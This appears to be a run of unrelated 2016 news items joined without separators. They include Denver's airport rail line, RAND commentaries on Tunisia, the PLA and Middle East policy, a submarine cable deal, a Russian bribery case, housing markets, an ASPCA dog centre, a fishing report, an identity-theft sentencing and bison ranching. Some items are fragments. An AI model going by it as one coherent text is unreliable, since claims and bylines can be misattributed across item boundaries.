For more information about the Best Corporate Citizen list, visit www.thecro.com.

For more information on CSXs corporate social responsibility and community partnerships, please visit https://www.csx.com/responsibility and www.beyondourrails.org.
Denver International Airport rail link inaugurated Written by Keith









The first phase of Denver's Eagle PPP commuter rail project was completed on April 22, 2016, when Colorado Governor John Hickenlooper, U.S. Transportation Secretary Anthony Foxx and Denver Mayor Michael Hancock inaugurated the 23.5-mile University of Colorado A Line from Union Station to Denver International Airport.

The double-track line, which is electrified at 25kV 60Hz AC, includes seven new stations serving western districts of the city.

To celebrate the opening, Denver Regional Transportation District (RTD) offered free travel on April 22 and 23 across its entire rail network.

In addition to the A Line, the Eagle PPP includes the construction of the 11-mile G Line from Union Station to Ward Road in Wheat Ridge, the six-mile B Line from Union Station to Westminster, and a new depot at Fox Street north of Union Station. The two remaining lines are due to open later this year.

The project is being implemented by PPP contractor Denver Transit Partners, a consortium of John Laing, Fluor, and Aberdeen Asset Management, under a $2.2 billion 34-year design-build-operate-maintain (DBOM) concession awarded by RTD.

The project is being finaced with the aid of a $1.03 billion Full Funding Grant Agreement from the Federal Transit Administration and $450 million from the private sector.

Services are operated by 79-mph Silverliner V EMU cars supplied by Hyundai-Rotem. Each car accommodates up to 232 passengers, 91 of them seated, with two wheelchair spaces. The vehicles are being assembled at the Hyundai Rotem USA plant in Philadelphia, using bodyshells fabricated in Korea. They are virtually identical to the Silverliner V cars Hyundai-Rotem supplied to SEPTA.
The Avenue Bourguiba in Tunis is a street of contrasts, with hedge-cut ficus trees, florists, cafes and an old Art Deco cinema intermingled with hoops of razor wire that cordon off government buildings. The first government overthrow resulting from the Arab Spring took place here in the capital of Tunisia about five years ago. Citizens from all walks of lifeyoung and old, men and women, secularists and Islamists, members of trade unions and employers unionsall united to oust a repressive government that had not met the needs of its people.

Other Arab countries tossed out long-standing dictators but became mired in civil war (Syria, Libya and Yemen) or fell back after counterrevolution to a regime of the old dictatorship (Egypt). Tunisians, through much difficulty, forged a new path.

The people of Tunisia drafted a new constitution, meant to be a new social contract for its society....

The remainder of this commentary is available on observer.com.

Shelly Culbertson is a policy analyst at the nonprofit, nonpartisan RAND Corporation. This commentary is based on research for her book, The Fires of Spring: A Post-Arab Spring Journey Through the Tumultuous New Middle East, which was published April 19.

This commentary originally appeared on Observer on April 20, 2016. Commentary gives RAND researchers a platform to convey insights based on their professional expertise and often on their peer-reviewed research and analysis.
Much has been made of Chinese leader Xi Jinping's flurry of announcements in recent months signaling major structural reforms to the People's Liberation Army (PLA), scheduled for completion by 2020.

While understanding the details of Xi's reforms is critical to assessing the direction of PLA modernization going forward, it is also necessary to consider the broader implications of the apparent nature of Xi's relationship with the military.

Many observers have stated the obvious: Xi, who serves concurrently as China's President, General Secretary of the Chinese Communist Party and Chairman of the Central Military Commission (CMC), is as large and in charge in military circles as he is in Chinese politics more generally.

This certainly appears to be true, but the manner in which he holds sway over the PLA is worthy of more attention than it has received. Xi is relying on an unprecedented anti-corruption campaign, echoing Mao Zedong's dictum that the party commands the gun, and implementing a sweeping reorganization of the PLA to ensure his personal dominance over the military and to strengthen its ability to deter or win future wars.

When Xi assumed power in November 2012, he vowed to fight both tigers and fliesa reference to taking on corrupt leaders at the highest levels as well as lower-level bureaucrats engaged in corrupt practices throughout the Chinese system, and the PLA would be no exception.

The first shot over the bow came against the tigers. In 2014, Xi arrested a former CMC vice chairman, Xu Caihou, for participating in a cash for ranks scheme. After expelling Xu from the party, Xi followed up in 2015 with the arrest and purge of another former CMC vice chairman, Guo Boxiong, on similar charges.

The arrests were unprecedented in that Xu and Guo were the two highest-ranking officers in China's military when they served as CMC Vice chairmen, and their arrests marked the first time the PLA's highest-level retired officers faced corruption charges.

As of early March 2016, Xi's anti-corruption campaign had reportedly resulted in the arrest of at least 60 military officers, although the actual numbers could be higher. The military anti-corruption drive is part of a much broader dragnetall told, throughout China, more than 1,600 individuals are either under investigation for corruption or have been arrested, purged, or sentenced since Xi came to power.

Xi's immediate predecessors, Hu Jintao and Jiang Zemin, were concerned about corruption, but neither had the stature among the top brass to target the upper echelons of the PLA with such daring.

Xi appears to believe that a lack of civilian leadership intervention, especially under Hu and Jiang, has resulted in a substantial drift of the PLA away from the party oversight Mao famously identified as so crucial.

This, in Xi's view, explains why the PLA became so pervasively corrupt under his predecessors. Xi therefore instills fear in his senior military officers by reminding them that his status as the most powerful Chinese leader in decades allows him to intervene at will to curb the PLA's excesses.

Xi drew a direct line between Mao and the present at a major meeting in November 2014. In commemoration of the 85 th anniversary of the Gutian Congress at which Mao first affirmed the party's absolute control over the military in 1929, Xi convened 420 of his most senior officers to meet in the small town of Gutian in southeastern Fujian Province.

To our knowledge, this was the first time a PRC leader reconvened military leadership at Gutian since Mao's famous meeting theresymbolism that was certainly not lost on the top brass.

Besides the obvious deference to Mao, Gutian's message was also very much derived from Mao's conceptualization of the proper balance between the party and military. Prior reading material, for example, reaffirmed the unassailable and preeminent position the party has over the military.

This set the stage for Xi to implicitly convey to all in attendance that they too could become victims of his anti-corruption campaign, just as General Xu had a few months earlier, if they refused to toe the line. Indeed, the anti-corruption campaign is probably the most important source of Xi's power over the PLA.

Another is a sweeping reorganization of the military that has the potential to be the most important in the PLA's history. The new system aims to place the services on a more even footing in the traditionally army-dominated PLA and enable the military to more effectively harness space, cyberspace and electronic warfare capabilities. It also establishes new theater commands to enhance the PLA's readiness and strengthen its deterrence and warfighting capabilities.

Importantly, despite some speculation to the contrary, Xi's assertion of control over the military in the form of the anti-corruption campaign and organizational reforms is more likely to enhance than it is to impede the PLA's ongoing modernization efforts.

Part of Xi's China Dream is to produce a strong military capable of deterring, or if necessary taking on powerful potential adversaries, including even the United States.

Xi wants a PLA that demonstrates utmost loyalty to the party, but he also wants a far more competent and operationally capable PLA by 2020, one that is commensurate with China's status as a major world power and capable of protecting China's regional and global interests.

If his aspirations are realized, Xi's reformed PLA will soon be capable of posing an even more potent challenge to China's neighbors, and to U.S. objectives and strategy in the region.

Derek Grossman is a senior project associate at the nonprofit, nonpartisan RAND Corporation. Michael Chase is a senior political scientist at RAND and a professor at the Pardee RAND Graduate School.

This commentary originally appeared on Newsweek on April 21, 2016. Commentary gives RAND researchers a platform to convey insights based on their professional expertise and often on their peer-reviewed research and analysis.
Spains Ultra HD industry is taking Teatro Real live on 4K for few hours in a pilot satellite-DTT experience.





The countrys public broadcaster RTVE, satellite operator Hispasat and DTT company Cellnex will be the three main forces behind the 4K experience. But the live broadcasting will also rely on Albala Ingenieros, Kinepolis, Huri, Ovide, EVS, Dolby, Ericsson, Samsung, Abacanto Soluciones, SAPEC, Hewlett Packard and ATEME.The transmission of Richard Wagners Parsifal in 4K at the Kinepolis cinema in Madrid will be carried over satellite through Hispasats infrastructure, and, thanks to Cellnex, the Ultra HD signal will be received through DTT in some areas of the countrys capital and Barcelona.RTVE will handle the project's production, technical coordination and execution, and Albala Ingeniores has supplied the optical infrastructure to Abacanto to transport the signal from various locations to the broadcasting centre.Although its the first live 4K experience in Spain, the same player previously joined forces to develop Ultra HD technology in the country and other parts of the world. Indeed, Hispasat was the first satellite operator to broadcast in 4K in Latin America via its Hispasat 30W-3 satellite.
Telefonica and Nokia-owned Alcatel-Lucent Submarine Networks (ASN) have signed a turnkey agreement to deploy an 11,000km submarine cable system linking Brazil to the United States.





The system  named BRUSA  aims to increase end-to-end connectivity and high speed broadband services in the Latin American region, allowing Telefonica to strengthen its offer in the wholesale market and addressing the exponential growth of data transmission.Linking Rio de Janeiro and Fortaleza (Brazil) with San Juan (Puerto Rico) and Virginia Beach (US), the system will also deliver enhanced resiliency over the Brazil-to-US route.BRUSA comes at a time of continued interest in the Brazil-US route to reliably carry increasing volumes of data traffic as global demand for ultra broadband access is rising, said Philippe Piron, president of Alcatel-Lucent Submarine Networks. We are pleased to support Telefonica in seizing the growth opportunities of the global wholesale market and meeting its customers demands.BRUSA will deploy ASNs optical transmission technology , which enables operators to extract maximum capacity from the wet plant and dry plant and create economies of scale by offering fast and dynamic provisioning.The system will integrate Telefonicas global fibre optic network , which has over 65,000km of subsea cable connecting the US, the Americas and Europe.
Charges brought against St. Petersburg lawmaker on suspicion of taking bribes

St. PETERSBURG, April 22 (RAPSI, Mikhail Telekhov)  Chief Investigation Directorate of Russia's Investigative Committee brought charges of large-scale bribery against Vyacheslav Notyag, a member of the Legislative Assembly of St Petersburg, a Directorates representative told RAPSI.

Earlier, the Directorate announced that a criminal case had been opened against Notyag.

When interrogated as a defendant in a criminal proceeding, Notyag refused to testify pleading Article 51 of the Russias Constitution,  investigators said.

Pursuant to case materials, in November through April 2016 Notyag offered the CEO of a commercial entity to pass to him bribes in amounts no less than 300 thousand rubles ($4,500) quarterly. In turn, the deputy promised not to hinder construction works the said commercial entity carried out in a city district.

In such a manner, according to investigators, the suspect has frequently accepted bribes totaling to no less than 900 thousand rubles ($13,500) over this period of time.

Officers of the Federal Security Service Directorate for St. Petersburg and Leningrad oblast detained Notyag when he was in Zvezda club located at 27, Lenya Golikov St. on April 21 at the moment a businessman passed to him 600 thousand rubles ($9,000).

On Friday, charges were brought against the deputy.

The St. Petersburg Kirovsky district court will examine the investigations move for pre-trial restrictions on the accused in the form of detention on remand on April 23.
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Daniel Serwer is a Senior Research Professor of Conflict Management, as well as a Senior Fellow at the Center for Transatlantic Relations, at the Johns Hopkins School of Advanced International Studies. This piece is a synopsis of a longer paper as part of the Middle East Institute's scholar series titled "The Middle East and the 2016 Presidential Elections." The views expressed here are the author's own.

America's allies in the Middle East -- the Sunni Arabs, as well as Israel -- are concerned that the United States is withdrawing and leaving a vacuum that will be filled by jihadi extremists or Shiite Iran. They are right to worry. U.S. interests in the region are declining from Washington's point of view, and so is the need for its military presence. It is not our military but our civilian capabilities that have the best chance of serving remaining American interests across the Middle East, and we need to wield them far more effectively than in the past.

The first priority for the U.S. military in the Middle East has been to keep oil flowing unimpeded to world markets from the Persian Gulf. The United States spends between 12 and 15 percent of the Pentagon's budget on this goal, which former President Jimmy Carter enunciated 36 years ago in response to the Soviet invasion of Afghanistan. The Soviet Union is gone. The United States, which never imported a big portion of its oil from the Gulf, nevertheless had reason to worry that a supply disruption there would bump up the world market price and cause significant economic damage.

Today, there is little chance of that: The U.S. economy is far less dependent on energy than it was four decades ago; we maintain ample oil stocks in a Strategic Petroleum Reserve; and unconventional production of oil and gas would return quickly at $70 or more per barrel, mitigating any economic impact of a disruption. If Washington is worried about a supply disruption, it would make sense to encourage Gulf countries to increase their pipeline capacity, which would mitigate price increases by ensuring that adequate supply reaches world markets. We should also be convincing India and China to hold larger stocks and to contribute naval forces to guarding the Strait of Hormuz, since they import the lion's share of Gulf oil. It makes no sense for Washington to be spending more than $80 billion per year to keep oil flowing from the Gulf so that Beijing and Delhi can import most of it. Diplomatic means trump military means when it comes to Gulf energy issues.

Terrorism also requires more emphasis on civilian resources. We have been at war with Islamist extremists since the 2002 invasion of Afghanistan. Their number has more than doubled (and may have tripled) since then, while the number of groups has proliferated to many more countries. Fourteen years of military effort have killed more than a few thousand, but there are now tens of thousands in more than a dozen countries, as well as uncounted sympathizers ready to do us harm at home. Our failed efforts at state-building in Iraq and Afghanistan during the decade after the 9/11 attacks should not prevent us from realizing that more inclusive and better governance is vital to combating extremism, especially in territory retaken from the Islamic State in Syria, Libya, and Iraq. Cooperating with the United Nations, the Arab League, Europe, and the Gulf, we need to be sure that new governance vacuums are not allowed to form.

Nuclear nonproliferation has rightly been a major preoccupation for the United States in the Middle East. The nuclear deal with Iran, properly implemented, will postpone the most serious risk for 10 or 15 years. In the meanwhile, we need to build a security architecture that will prevent a regional nuclear arms race a decade hence. We successfully built such an architecture in Europe during the Cold War, greatly reducing the risk of nuclear war with the Soviet Union through a combination of bilateral agreements and multilateral organizations. Doing something comparable in the Middle East will require ending the proxy wars in Syria and Yemen that pit Saudi Arabia and Iran against each other.

Both protagonists will need to be convinced that their competition can be safely pursued in political and economic rather than military channels. For the United States, this means a major civilian diplomatic effort, not a military one. If in the future, military action against Iran were to become necessary to prevent it from going nuclear, standoff weapons from platforms outside the region would permit us to achieve the objective with less risk to our troops.

America's allies in the Middle East will continue to seek our military equipment and training, and we should be willing to provide it. They are unlikely to want our values, in particular human rights and democracy. While the Saudi monarchy is tinkering with elections and even women's political participation at the local level, Israel, Egypt, Turkey, and Iraq all seem more likely to limit democracy rather than expand it in the years ahead. We'll need to be prepared to continue as best we can to support those who peacefully seek better, more inclusive governance and open societies. The failure of the Arab uprisings everywhere but Tunisia -- where the revolution is still shaky -- indicates that the United States must be prepared to play the long game in the Mideast. Experience suggests military assistance is unlikely to prove an important lever on nonmilitary issues.

U.S. interests in the Middle East have declined and changed. We should be shifting our engagement from military toward civilian means: diplomacy, state-building, and foreign aid. Doing so will serve our current interests better than continuing our primarily military engagement.

(AP Photo)
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The United Kingdom government is planning to introduce stringent measures that would force offshore companies to disclose the ultimate owners of the properties they acquire in the country.

The Guardian reported that under the proposals, foreign companies will come into close scrutiny particularly those that have billion-pound assets in the U.K. The move will come in line with the new rules wherein U.K. companies are required to declare a beneficial ownership beginning June.

This U.K. government's measure come after the controversial Panama Papers which leaked information that has shaken the world. The documents from law firm Mossack Fonseca reveal how the wealthy laundered money and avoided taxes by hiding their money away through shell corporations.

These offshore companies used their money on purchasing luxury real estate properties, which consequently driven housing prices to sky-high levels in cities like London and Miami, reports say.

According to the proposal, as reported by The Guardian, the Department for Business, Innovation and Skills said that real estate provides convenience in stashing illicit funds among criminal organizations and corrupt individuals. Add that to the fact that the property market in the country is an attractive one for foreign investors because its political and business climates are stable.

"The high values of property in London in particular presents an opportunity for criminals to launder considerable sums of money in one transaction," BIS consultation document said.

Citing a report from The Times, Politics Home said this transparency plan is expected to be unveiled by Prime Minister David Cameron next month during the anti-corruption summit.

Home Office is also set to unveil plans on how money laundering and terrorist financing can be tackled, the publication reported. Home Secretary Theresa May said that those who are suspected to be laundering money will be given an "unexplained wealth order" and may have their assets seized if proven guilty.
House prices and rental rates have been increasing to a level that most residents of Bay Area could not afford. Many of them are ending homeless and pushed out of the city.

San Francisco is the most expensive city to rent in the Bay Area, where real estate market has been boosted by the boom in tech industry. As a result, middle class who are "too rich" to qualify for social housing are having a hard time paying the market-rate prices.

As the housing war continues in the city, San Francisco Association of Realtors has laid out suggestion on two November ballot measures to increase affordable eligibility, San Francisco Business Times reported. The proposal, "Middle Income Inclusionary Rental Housing Eligibility Ordinance," also wants to have more stringent rules on the selection of affordable housing developers.

The Realtors wants to increase the maximum income levels of those who are applying for subsidized housing from 55 percent of the median income in the area to 110 percent per person. In addition, the rental rates will be restricted to a maximum of 30 percent of the tenant's income, San Francisco Business Times noted.

The publication quoted Nathan Ballard, a Democratic strategist advising the ballot measure proposal, saying that "The point of it is to expand the pool of housing options available to San Franciscans. The goal of this ballot measure was to target a very specific, modest number of units and open them up for middle-class housing."

Meanwhile, as recently covered here on Realty Today, San Francisco home prices dropped for the first time in four years, recording a 1.8 percent decline in March. This is based on a report from real estate brokerage Redfin, which said that this could be one of the signs that the market is finally starting to cool down.
The luxury real estate market, specifically Manhattan, had reached record numbers for early 2016. Unfortunately, other luxury markets have had shaky runs for the start of the year, according to a recent report from Yahoo.com.

The report was based on newly released data done by Miller Samuel, an appraisal firm and Douglas Elliman, a brokerage firm. Miller Samuel CEO and President Jonathan Miller said, "The housing market in general is softer at the top than it is in the middle and lower parts of the market, perhaps because they peaked sooner. The last four or five years have all been about the luxury market. Now, we're leveling off a bit."

Miller added, "Those two housing markets are both at the hip with Wall Street. But they're performing very differently and the markets are very different."

Houses that are priced at the top of the luxury market felt a decline in demand compared to the last quarter of 2015. The average sale price of a home in the Hamptons, one of the luxury neighborhoods in the US, was at $8.8 million for the first quarter of 2016. In 2015, a similar home in the same luxury neighborhood was at $12.3 million.

While the luxury market in the US is in decline, the UK market is foreseen to further expand in the next ten years. It was projected that about 35,000 prime quality homes are to be built in London. This was a 40 percent rise from 2015, as reported on PropertyWire.

Should all these luxury homes be sold in the year, the total sale volume would reach 77 billion. The additional floor space would be at 40 million square feet. In comparison, the total floor area of the City of London is a mere 30.7 million square feet.

The said homes would be built in 196 separate locations within the city, as confirmed by consultancy firm Arcadis. The projected construction is viewed as 'significant growth' from 2015's volume, a testament to the favorable growth of the high end residential sector of London.
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The Mayors office of Athens-Clarke County has submitted a $120.7 million budget proposal for the fiscal year 2017, which runs from July 1, 2016 to June 30, 2017, for review by the public and the commission. The proposed budget is nearly $5 million more than the 2016 fiscal year budget.
FRIDAY

Run For the River

What: Part of Earth Week, this 3-mile running tour of streams on campus is hosted by Watershed UGA and the Office of Sustainability

Where: Intersection of Hull Street and Baxter Street

When: Noon

Price: Free
Last year, members of Athens C.A.R.E. Project, a marijuana decriminalization advocacy organization affiliated with Georgia C.A.R.E., rallied outside of the Athens-Clarke County city hall and demanded that marijuana possession be treated as a civil offense rather than a criminal one.
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Few local musicians survive in the Athens scene long enough to become truly well-versed in local culture. Daniel Hutchenss third solo venture, The Beautiful Vicious Cycle of Life, earns him a spot on the list of those that have.
This April 2014 photo provided by the American Society for the Prevention of Cruelty to Animals shows Kristen Collins and her dogs posing for an ASPCA calendar in West Orange, N.J. Collins has been in charge of the ASPCA Behavioral Rehabilitation Center in Madison, N.J., and will do the same when a new $9 million center opens in mid-2017 in North Carolina. (Jack Deutsch/ASPCA via AP)

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By SUE MANNING, Associated Press

LOS ANGELES (AP)  Animal Planet will soon celebrate the success of a unique program aimed at second chance dogs, often shy and traumatized victims of puppy mills, hoarders and abandonment.

In an hour-long special, the network delves into the Behavior Rehabilitation Center at St. Hubert's Animal Welfare Center in Madison, New Jersey. It's a pilot program of the American Society for the Prevention of Cruelty to Animals that began in 2013 and will soon be expanded, in time for the ASPCA's 150th anniversary.

Called "Second Chance Dogs," to air April 16 (9 a.m. Eastern), the Animal Planet show starts at the center's beginning, when the ASPCA decided to try rehabilitation for hard luck cases.

Of 259 dogs sent to the center since it opened, 185 have graduated. Of those, 170 were adopted and the majority is doing quite well, said Kristen Collins, a certified applied animal behaviorist who oversees the project and will be the director of a new facility planned as part of the expansion.

Not all the dogs were success stories. Thirteen were deemed inappropriate for the program, including those with health issues, and 28 failed to graduate after months in the program. Some of those were sent back to the shelters where they came from and some had to be euthanized.

But the ASPCA stands firmly behind the center. It will continue to move dogs through St. Hubert's until a new $9 million, 35,000-square-foot facility is finished in mid-2017 in Weaverville, North Carolina.

"While we can't yet answer all of the questions associated with rehabilitating at-risk animals, we continue to witness amazing transformations, dogs that conquer their anxiety and fear despite years of devastating behavioral damage. These transformations change the trajectory of their lives," said Matthew Bershadker, president and CEO of the ASPCA.

Nearly every animal shelter in the country has a shy dog or two, Collins said. The new rehab center will have a dormitory that can accommodate visiting staff bringing in dogs from shelters or seeking training on how to handle their own loads. Shelters will not be charged for sending dogs or staff to the center, she said.

The human training will be offered because the ASPCA feels it's just as important to teach shelter workers around the country how to gain the trust of severely traumatized dogs as it is to rehabilitate the animals, Bershadker said.

"Collecting this insight and sharing it will enable all of us to move more vulnerable dogs from peril to safety," he said.

Collins said the center was the first dedicated solely to abused or neglected dogs. Her dogs, Wink, Juno and Toefu, are part of its workforce as "helper" dogs. They made it into the documentary, done by the production company Dog Files under ASPCA supervision.

Kathryn Klumpp of Watchung, New Jersey, is the proud owner of one of the center's graduates. She adopted Mary Ann after the dog was transferred from rehab to the Butler Town Pound. The mutt, believed to be around 2, adjusted quickly to life with her new family, Klumpp said. Her husband, sons (ages 11 and 13), two other dogs and a cat all made it work.

"When she came home, the family could only scratch her under her chin where she could watch them. Now, they can scratch her back." Klumpp said. "That's how much she has come to trust all of us."

While things went quite smoothly, the family made one serious change: "So now her name is Hope."
Pictured this week is Will Bowen of Klamath with one of his two big stripers limit weighing over 15 pounds while out this week with Dave Jacobs of Professional Guide Service. Bowen and his guests hooked and released over 50 stripers on this recent striper fishing trip.

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Sacramento River stripers

The striper fishing season is in full swing with many very nice sized stripers coming into the boats both day and night. The main run of stripes has been mostly in the Colusa to Verona stretch of the river as reported by Sacramento striper fishing guide Dave Jacobs. There are many different boat launches to choose from now and the best bite has been during both the day and night fishing trips on the Sacramento River. Best bets have been drifting jumbo minnows or back-bouncing minnows in the daytime. Casting artificial plastics has been best after dark and early in the mornings. There is a tremendous-sized school of both large and small sized stripers in the Sacramento River at the time of this report. There is also some early arriving stripers beginning to spawn as the river temperatures have been rising from the recent warm weather. Striper fishing on the Sacramento River will remain strong through May.

Sacramento River shad

The early arriving shad are now entering the Sacramento River above Verona. Drifting small jigs tipped with curly tailed grubs early in the mornings and late in the evenings has been best. If you are lucky enough to get close to a large school moving through you can catch double-digit shad as reported by Sacramento River shad fishing guide Dave Jacobs. The Sacramento River shad fishing season should go strong through July as it does most seasons. Guide Dave Jacobs is offering special shad fishing trips from a private boat launch now and will continue to do so through June.

Sacramento River trout

Even though the upper 5.5-mile section of the river in downtown Redding is closed to fishing, the lower section of Sacramento River is still providing very good trout fishing. Both fly and conventional trout fishermen are experiencing very good spring trout fishing from Redding downriver through Red Bluff. Side-drifting small hand-tied glo bugs in various egg-catching colors has been best for trout 1 to 3 pounds on average. Many of those native rainbow trout are hard fighting from the cold releases from Keswick Dam. Hooking double-digit rainbow trout has been the norm this past week for both drift boat and jet boat fishermen. Trout fishing should remain very strong through this June as reported by Sacramento River trout fishing guide Dave Jacobs.

This week's Sacramento River striper, shad and wild rainbow trout fishing report is courtesy of guide Dave Jacobs of Professional Guide Service. To book your next fishing trip with Jacobs, call direct at 530-646-9110 or visit Dave Jacobs' website at www.sacramentofishing.com. Now booking Sacramento River salmon fishing trips set to begin in mid-July and continue through December 2016.
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By Record Searchlight Staff

A 36-year-old Anderson woman was sentenced this morning to 13 years in prison after she pleaded guilty earlier this month to identity theft, burglary and other related charges.

Christina Lee Cameron, who faced about 200 criminal counts, was dubbed by police as the "Catch Me If You Can" identity thief.

She was given that nickname by detectives after she reportedly telephoned them while on the Redding police department's most-wanted list to chat, much like Leonardo DiCaprio's character in the 2002 film, "Catch Me If You Can."

"She often bragged about how good she was at what she was doing," said Deputy District Attorney Erin Dervin, who prosecuted the case.

Dervin said that Cameron schemed to counterfeit and pass personal checks at numerous Shasta County businesses, using the names and account numbers of many local residents, as well as people from other states.

The total loss to the businesses was $11,609, Dervin said, adding that Cameron was able to obtain information from stolen driver's licenses and checks and also impersonated others to obtain money and goods from grocery and other retail stores.

A subsequent search of her home yielded numerous pieces of stolen person identification, and a computer and printer used to manufacture counterfeit checks, said Dervin.

She was finally found in April 2008 while hiding in a car in Happy Valley. Investigators said they found numerous wigs that Cameron reportedly used as disguises.

In a six-month stretch, police have said that Cameron allegedly used 13 personal and business names while passing more than 50 counterfeit checks in Northern California and the Reno-Sparks area of Nevada.

It was a citizen's tip that finally put police on her trail.

Dervin said that Cameron fled to a Nevada for a brief period and also allegedly counterfeited and passed bad checks there.

She was captured when she returned to Shasta County to visit her then-boyfriend, Harry Madson of Happy Valley, Dervin said.

Madson, 53, was sentenced in November to nine months in Shasta County jail after pleading guilty to possessing a controlled substance for sale and aiding and abetting Cameron and helping her to elude authorities.

Cameron, who has prior convictions for grand theft and possession of methamphetamine, will eventually be sent to Nevada to face criminal charges there, said Dervin.
Some of Garen Wimer's buffalo herd graze outside of Corning. His Great American Buffalo Co. has some 190 bison, most of which are on pasture in Corning.

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Demand for meat prompts interest in starting commercial bison herds

By Laura Christman

Garen Wimer is driving a red Ford pickup with a border collie named Pistol in back and towing a flatbed trailer with hay. He slowly makes his way along a ridge west of Red Bluff, scanning the foothills as he goes. Wimer is looking for buffalo.

He finally spots them ? a cluster of bigheaded, woolly coated creatures moseying along in the distance, as if they just wandered out of the Old West. Wimer grabs a cowbell and begins to clang it. That's the cue. The bison switch their gait from lumbering to thundering ? charging up the hill. Within minutes they are next to the truck, anticipating the grass hay that Wimer has brought.

"They are amazing animals," he says.

Wimer is among a handful of north state ranchers raising buffalo. His business, Great American Buffalo Co., has some 190 bison, most of which are on pasture in Corning. The 17 roaming the Red Bluff foothills include yearlings he socializes by visiting them once a week and bringing a bit of grass hay.

Nationwide, the bison business is booming. While just a sliver of the market when compared with beef, demand and prices for bison meat are at an all-time high. The industry had its best year last year and expects growth to continue.

"We don't see consumer demand falling," said Jim Matheson, assistant director of the National Bison Association in Westminster, Colo.

Market making a comeback

To keep pace with the demand for meat, the association is trying to build commercial bison herds by encouraging ranchers and farmers to try bison and working with groups such as FFA to create a new generation of bison ranchers.

It's a much cheerier picture than 10 years ago, when the bison industry foundered. Promoted as a next-big-thing in the 1990s, ranchers and investors bought and traded animals, but there wasn't enough demand for the final product ? the meat.

"In 2001, the market essentially crashed," Matheson said.

Things are different this time, Matheson said. The way people look at food has changed. Antibiotics, growth hormones, feed lots, carbon footprints, fat content and E.coli contamination are growing concerns among consumers. Local, sustainable and nutritional approaches have gained traction.

"Buffalo have really fallen in line with that," Matheson said.

Native to North America, buffalo tolerate heat and cold and aren't prone to diseases, he noted. While there are some bison operations that finish animals on grain in feed lots to get meat that's consistent in flavor and texture, the bison association promotes bison that forage on grass and aren't injected with growth hormones and routine antibiotics. Matheson said bison meat can be produced sustainably and has much less fat than beef.

The interest in bison goes beyond steaks, roasts, sausage and jerky. Cuts and byproducts not favored by people are used in pet foods sold as "natural." And there's a novelty market for hides and skulls.

"We are really trying to sell the whole animal," Matheson said.

It's a comeback story for the American buffalo, slaughtered close to extinction in the 1800s. "Just over 100 years ago there were less than 450,000 in North America, both captive and wild," Matheson said.

Wimer, a general engineering contractor, has been raising buffalo for six years in Tehama County. He said the business "is just starting to turn profitable."

"It's really starting to go right now, and I think it would go a lot better if the economy was better," Wimer said. "More people are becoming health-conscious, and it is very healthy meat."

Acquired taste

Great American Buffalo Co. sells its bison meat at farmers markets in Chico and San Francisco, as well as to restaurants and other outlets in the north state. Wimer said he likes the flavor of the low-fat meat but added that it is an acquired taste. "Grass-fed is different," he said.

Richard Stapler, who raises bison in Millville, says the taste is great. "Once you've eaten bison, you're not going back. It tastes like beef, yet there is no fat."

Bison meat can't be cooked the same as beef, said Sharron Heryford, owner of LaGrange CafA in Weaverville. "You need to cook it rare to medium-rare, otherwise it becomes shoe leather. It's a little gamy, but not near as gamy as local venison."

She serves buffalo cuts braised and grilled. She's also used bison in burgers, meatloaf, spaghetti, stews and chili. When she first put buffalo on the menu some 20 years ago it was viewed as an oddity ? something to try just to say that you did.

"We don't sell as much buffalo as beef, but interest is definitely increasing. We're seeing more people willing to try it. And some people, that's what they eat by choice on a regular basis," she said.

Kent Pfrimmer, owner of Kent's Meats and Groceries in Redding, has sold buffalo meat for about eight years.

"It's really started to take off in the last four or five years," he said. Customers want to know more about what they are eating, where it comes from and how it was fed, he said. "They are concerned about how the animals are treated," he said.

Prices for bison can be a third more than beef, sometimes close to twice as much, Pfrimmer said.

Still a niche product

Bison is far from mainstream meat, however. The number of buffalo butchered in a year, about 70,000, is less than the 125,000 cattle that go to slaughter in a day, according to the National Bison Association.

Wimer expects bison to remain a niche market. "I don't think it's going to get that big here in the north state. This is big cattle country."

Steve Moller, Shasta County Cattlemen's Association president, also sees buffalo and grass-fed cattle as a small market, not the main market. Traditional ranchers don't view such operations as competition, he said. But Moller takes exception to the idea that grass-fed beef or bison has a health edge over traditional beef. There are lean cuts of beef too, he noted.

"There's this idea that they are so much better. Well, I don't know if you're all that much better," he said.

Henry Giacomini of Hat Creek Grown, a grass-fed cattle operation in Hat Creek, isn't at odds with the conventional beef industry. It is based on a large infrastructure and economy of scale that keeps beef affordable, he said. "That is how our food system has evolved," he said. "It didn't get there by conspiracy."

Grass-fed operations, whether beef or bison, are aimed at a narrow market ? people seeking a connection to their food and willing to pay a premium for it, he said. That's a market he doesn't expect to fade.

"I don't think it is a short-lived fad," he said.

Larry Forero, University of California Cooperative Extension livestock adviser in Redding, has seen the quick rise and fall of animals like potbellied pigs, ostriches and emus. It is important to research the work, money and market before jumping into something new, he said. Ranching isn't a get-rich-quick scheme.

"Do the math," he advised. "Those who make the niche thing work recognize what their market wants."

An entirely different animal

Raising buffalo is not the same as raising cattle. Ben Sale, who has about 130 bison in the Red Bluff area, said bison "are not near as easy to work as cattle. You can't get them riled up. You have to take it real slow. The less you can get them riled up, the better."

Bison do not like to be herded. "You can't drive them nowhere, but they will follow you," he said.

Sale, owner of Ben's Truck Repair in Red Bluff, said "I started out with two or three and then I ended up buying 10 or 15 more of them." It continued to grow, but remains a side business. He'll butcher an animal to sell to an individual or families who go in together to purchase the meat.

Wimer said temperament varies among his bison herd. "I have one big bull that is very ornery and some that are very docile."

Bison are smarter than cattle and have good memories and a strong social order, Wimer said. "I'm telling you, they are smart. One drops a calf and the others get around and protect it," he said.

He's been contacted by people who want to buy a buffalo for a pet. Bad idea. Buffalo are social animals that need to be part of a herd, not isolated in a pen, he said. They aren't pets.

Gruntly is a bit of an exception. When one of his bison gave birth to two calves but would care for only one, Wimer took the rejected buffalo. He raised Gruntly with an Angus calf named Jill. Now 3, Gruntly hangs out with a few cattle at the ranch and thinks he runs the place, Wimer said.

The bison association says buffalo require sturdier fences than those for cattle. Richard Stapler, the Millville buffalo rancher, said bison do test fences, but he hasn't needed to take extra measures to keep the buffalo contained on his 160-acre ranch. "I just let them do their own thing. I do have them fenced out of the creek. They are very good swimmers and I don't want to have to go down to Sacramento and get them," he said.

Stapler has had buffalo for 18 years. At one point he owned 60, but the herd is down to 25.

"I'm gearing it down now," he said. "I'm retired. I'm not really pushing it."

He sells live animals to ranchers and meat directly from the ranch to customers who want all or part of a bison. "We sell quarters, halves and wholes," he said.

Bison are low-maintenance, according to Stapler. "There's not an awful lot of work to bison. We don't dehorn or castrate them. The only thing I provide is mineral salt blocks."

Buffalo don't need and will ignore shelters, the north state ranchers say. "They take the hot weather really well," Stapler said.

